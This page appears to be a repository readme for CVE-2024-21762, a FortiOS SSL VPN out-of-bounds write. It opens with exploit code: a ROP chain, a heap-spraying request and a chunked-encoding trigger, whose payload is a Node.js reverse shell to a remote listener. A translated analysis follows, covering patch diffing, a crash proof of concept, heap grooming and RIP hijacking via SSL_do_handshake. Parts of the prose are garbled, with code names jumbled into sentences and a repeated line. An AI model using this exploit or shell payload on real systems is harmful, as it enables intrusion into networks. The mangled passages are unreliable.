# CVE-2024-21762
out-of-bounds write in Fortinet FortiOS  CVE-2024-21762 vulnerability 

## Exploit  poc by [assetnote](


ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host:\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)


ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host:\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"




FortiGate released a version update in February, fixing multiple medium- and high-risk vulnerabilities. One of the severe-level vulnerabilities is an unauthorized out-of-bounds write vulnerability in SSL VPN. The vulnerability warning states that this vulnerability may be exploited in the wild. This article will introduce the author's analysis of the process of exploiting this vulnerability to achieve remote code execution.


The environment used for vulnerability analysis in this article is `FGT_VM64-v7.4.2.F-build2571` 


Comparing the binaries of the repaired versions (7.4.2 and 7.4.3), the analysis found that the repair code is located in function `sub_18F4980`(7.4.2).


Analyzing this function, it is not difficult to find that the logic of this function is to read the body data of the HTTP POST request. At the same time, Transfer-Encodingit is determined according to the request header whether to read in chunk format or based on Content-Lengthreading. According to the control flow graph comparison results, there are two code modifications:

When parsing the chunk format, call ap_getlinethe read chunk length and check ap_getlinewhether the return value is greater than 16. If it is greater than 16, it is considered an illegal chunk length.


When reading the chunk trailer, the source of the written \r\noffset is `line_offthe` assignment source, `line_offthe` value before repair is from , and the return value after `*(_QWORD *)(a1 + 744)` repair is . `line_offap_getline`

Continuing to trace forward, `*(_QWORD *)(a1 + 744)` the value that can be found is the length of the chunk length field of the first verification.


Continuing to trace forward, `*(_QWORD *)(a1 + 744)` the value that can be found is the length of the chunk length field of the first verification.


At the same time, reading the code can tell that when the value of the chunk length field is 0 after hex decoding, it will enter the logic of chunk trailer reading.

Triggering out-of-bounds 

After analyzing the patch, we can draw the following conclusions:

1. When parsing a chunk, if the hex decoded value of the chunk length field is 0, start reading the chunk trailer.
2. After calling ap_getline to read the chunk trailer, it will be written to the buffer according to the length of the chunk length field `\r\n`.
Therefore, if many 0s are passed in the chunk length field, and the length of 0s is greater than 1/2 of the remaining buffer length, an out-of-bounds write will be triggered \r\n. Through debugging, we can know that the target buffer is located on the stack `(function sub_1A111E0)` , and the return address is stored at offset 0x2028. If written at offset 0x202e `\r\n`, reta crash will occur due to an illegal address when the function returns to execute the instruction to resume rip.

Crash PoC:

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)

Crash scene:


By analyzing the cause of the vulnerability, it can be seen that the vulnerability can be used to write `\r\n` two bytes out of bounds on the stack, and the out-of-bounds range is close to `0x2000`. Since the written content is very limited, RCE cannot be achieved by directly hijacking rip. Therefore, you need to focus on the memory pointer saved on the stack.

failed attempt

What is easier to think of is to hijack rbp and overwrite the low byte of rbp so that rbp just points to a controllable memory area. When the upper-level function returns to execute the instruction, rip can be completely hijacked. However, during verification, it was found that even if rbp on the stack is overwritten, rsp and rip cannot be hijacked, and the program will not even crash. Continuing to trace back up, we find the parent function . This function is not called to restore rsp when it returns , but directly , so it cannot achieve the expected effect. leave retsub_1A111E0sub_1A26040 leave retadd rsp, 0x18


Find another breakthrough point

As seen in the previous section, the function saves the values ​​of the five registers `rbx` and r12-r15 on the stack, and restores these registers when the function returns. Continue backtracking to find the parent function . You can see that what is saved in r13 is exactly the parameters `sub_1A26040sub_1A27650a1` .

a1 is a structure pointer. Through debugging, we can also see that a heap address is saved on the stack r13


If the memory in the red area in the figure is overwritten by out-of-bounds writing, then the r13 register is restored when the function returns, and the value of the pointer can be tampered with . If the heap memory can be laid out so that a1 points to a memory area arranged in advance, then the entire a1 structure can be hijacked. At the same time, through analysis of the code logic of and , there are a large number of dynamic function calls of a1 multi-level structure members, so there will be more opportunities to hijack **a1.sub_1A26040a1sub_1A27650sub_1A26040**

Hijacking a structure

According to the assumption, after the low byte of the a1 pointer is overwritten , it can point to the pre-arranged memory. as the picture shows: `\r\n`


In order to achieve this effect, the following conditions need to be met:

The `a1` structure address is higher than the heap spray area address, and the gap between them is very small.
`0x7fxxxxxxx0a0d` Must point to the forged structure.

Debugging can find that the size of the a1 structure is `0x730` . According to the alignment rules of jemalloc, a heap block of size `0x800` will be allocated. The 0x800 heap block is not commonly used during request processing, so it is easy to exhaust the `0x800` heap block in tcache, and at the same time apply for more new 0x800 blocks, so that they can enter tcache after release. Heap injection also selects heap blocks of uncommon sizes so that the newly applied heap blocks are continuous and close to the newly applied 0x800; heap injection chooses to use larger heap blocks to ensure that their addresses are aligned with 0x800, so that It is easy to ensure that the lower 12 bits of each forged structure address are 0xa0d; the heap spray range is not less than `0x10000` to ensure that it points to the heap spray area. The effect after hijacking is as follows: `0x7fxxxxxxx0a0d`


Find exploitable multi-level pointers

Through the above operations, the hijacking of the a1 structure can be achieved. Combing through the code of function sum, there are many dynamic calls to the second-level pointer and third-level pointer of the a1 structure member, for example: `sub_1A27650sub_1A26040`


When `(0<N<5)` is satisfied , it will be called dynamically . Therefore, the member needs to be faked into a multi-level pointer, which ultimately points to the function we want to call. Since the target binary does not have PIE protection turned on, you can find qualified multi-level pointers in the target binary. Analyzing the binary, we can find that the first points to the GOT table address of the corresponding function.`*(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1)a1 + 0x298` 



Therefore, taking functions as an example, you can find qualified multi-level pointers **system**


During heap spraying, changing the value at offset 0x298 of the structure can be used to call the system function. The effect is as follows: `0x4368d0`


As shown in the figure, the parameter of the dynamic call is exactly a1, and the memory pointed to is controllable. At this point, you can normally use the system function to execute any command. However, in FortiGate, the file does not have the ability to execute commands, so using the system function to execute commands cannot be executed successfully. `/bin/sh`

Hijack RIP

Since the system function cannot execute commands, we can only find other ways to complete RCE. The existing condition is that any GOT table function can be called, and the memory pointed to by the first parameter of the function is controllable. Therefore, if there is a function in the GOT table that will call back a certain member of the parameter, there is a chance to achieve RIP hijacking. It’s easy to think of functions that were often used in previous FortiGate exploits . **SSL_do_handshake**


You only need to construct the SSL structure so that the conditions are met and the final call is made to realize rip hijacking and hijack rip to 0xdeadbeef as shown in the `figure:s->handshake_func(s)`


The FortiGate main program is an All-in-One binary with a size of over 70MB. There are a large number of gadgets that can be used. It is not difficult to implement RCE using ROP, so I won’t go into details.

### demo :

Although web mode is turned off by default in SSL VPN version 7.4.2 and browser access returns 403, this vulnerability can still be exploited in the default configuration.


This vulnerability is similar to the heap overflow vulnerability caused by XOR last year . They are both seemingly useless overflow vulnerabilities. The exploitation process is more tricky and more like a CTF question. However, compared with traditional CTF problems that attack heap managers, real vulnerabilities require more context structures and code logic to be exploited. The author's level is limited. If there are any mistakes, please correct me.CVE-2023-27997

original post In Chinese :